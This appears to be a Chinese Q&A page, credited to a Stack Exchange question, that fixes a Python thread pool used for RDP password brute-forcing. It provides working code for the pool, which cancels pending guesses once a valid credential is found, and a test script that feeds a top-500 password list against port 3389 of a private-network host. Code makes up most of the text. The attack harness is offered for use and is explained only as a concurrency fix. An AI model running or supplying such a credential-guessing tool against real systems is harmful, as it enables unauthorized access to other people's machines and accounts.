Python ThreadPool重复执行密码任务问题及修正咨询

问题分析 #

你的自定义ThreadPool在RDP爆破时出现密码重复执行的核心原因是：

• 找到有效凭证后直接调用shutdown(wait=False)无法终止未执行的任务，已提交的所有任务仍会继续执行
• 主线程会一次性将队列中所有任务提交给线程池，即使触发停止信号，后续任务依然会被执行
• 缺少线程安全的停止机制，无法及时中断任务提交和执行流程

修正后的ThreadPool类代码 #

import concurrent.futures
import importlib
import queue
import itertools
import threading
import time


class ThreadPool():
    def __init__(self, thread):
        self.max_thread = thread
        self.thread_pool = concurrent.futures.ThreadPoolExecutor(max_workers=self.max_thread)
        self.task_queue = queue.Queue()
        self.futures = set()  # 用集合存储future，方便批量取消
        self.stop_flag = threading.Event()  # 线程安全的停止信号

    def add_port_brute_task(self, module, function, host, port, usernamelist, passwordlist):
        # 直接生成迭代器，无需转成list节省内存
        combinations = itertools.product(usernamelist, passwordlist)
        for username, password in combinations:
            new_task = (module, function, host, port, username, password)
            self.task_queue.put(new_task)

    def start_port_brute_threadpool(self):
        start_time = time.time()
        try:
            # 循环条件同时检查停止信号和队列状态
            while not self.stop_flag.is_set() and not self.task_queue.empty():
                try:
                    # 非阻塞取任务，避免队列空时主线程阻塞，及时响应停止信号
                    module, function, host, port, username, password = self.task_queue.get(timeout=0.1)
                except queue.Empty:
                    continue

                args = (host, port, username, password)
                future = self.thread_pool.submit(self.run_poc, module, function, args)
                self.futures.add(future)
                # 添加任务完成回调，触发停止逻辑
                future.add_done_callback(self._task_done_callback)

                # 标记任务处理完成，维护队列状态
                self.task_queue.task_done()
        finally:
            # 取消所有未执行的任务
            for future in self.futures:
                if not future.done():
                    future.cancel()
            # 等待已执行的任务完成后关闭线程池
            self.thread_pool.shutdown(wait=True)
            print("\n用时:%.2f 秒" % (time.time() - start_time))

    def run_poc(self, module, func, args):
        # 先检查停止信号，避免无效执行
        if self.stop_flag.is_set():
            return False
        try:
            module = importlib.import_module(module)
            function = getattr(module, func)
            result = function(*args)
            return result
        except Exception as e:
            print(f"[-]执行任务异常: {e}")
            return False

    def _task_done_callback(self, future):
        try:
            result = future.result()
            if result == True:
                print("[+]找到有效凭证，停止所有任务")
                self.stop_flag.set()
        except concurrent.futures.CancelledError:
            pass
        except Exception as e:
            print(f"[-]任务回调异常: {e}")
        finally:
            # 移除已完成的任务，清理资源
            self.futures.discard(future)

配套修正的test.py代码 #

from threads import ThreadPool
import rdp_brute
import time

# 修正参数拼写错误：passowrd -> password
def rdp_connect(host, port, username, password):
    try:
        result = rdp_brute.check_rdp(host, port, username, password, host)
        return result
    except Exception as e:
        print(f"[-]RDP连接出现异常: {e}", end='\n')


if __name__ == '__main__':
    usernamelist = []
    passwordlist = []
    # 使用with语句自动管理文件资源
    with open(r'top500.txt', 'r') as f:
        for password in f.readlines():
            password = password.strip('\n')
            passwordlist.append(password)
    usernamelist.append('25018')
    host = '192.168.23.128'
    port = 3389

    pool = ThreadPool(10)
    function = 'rdp_connect'
    pool.add_port_brute_task('test', function, host, port, usernamelist, passwordlist)
    pool.start_port_brute_threadpool()

关键修正点说明 #

• 线程安全停止机制：使用threading.Event作为全局停止信号，所有线程可安全检查该信号决定是否继续执行
• 任务提交控制：主线程循环同时检查停止信号和队列状态，触发停止后立即停止提交新任务
• 未执行任务取消：在finally块中批量取消所有未完成的future，彻底终止后续密码尝试
• 任务回调处理：添加任务完成回调，一旦找到有效凭证立即触发停止信号，避免无效任务执行
• 资源优化：使用迭代器生成用户名密码组合，避免一次性加载大量数据占用内存

内容的提问来源于stack exchange，提问作者Aiwin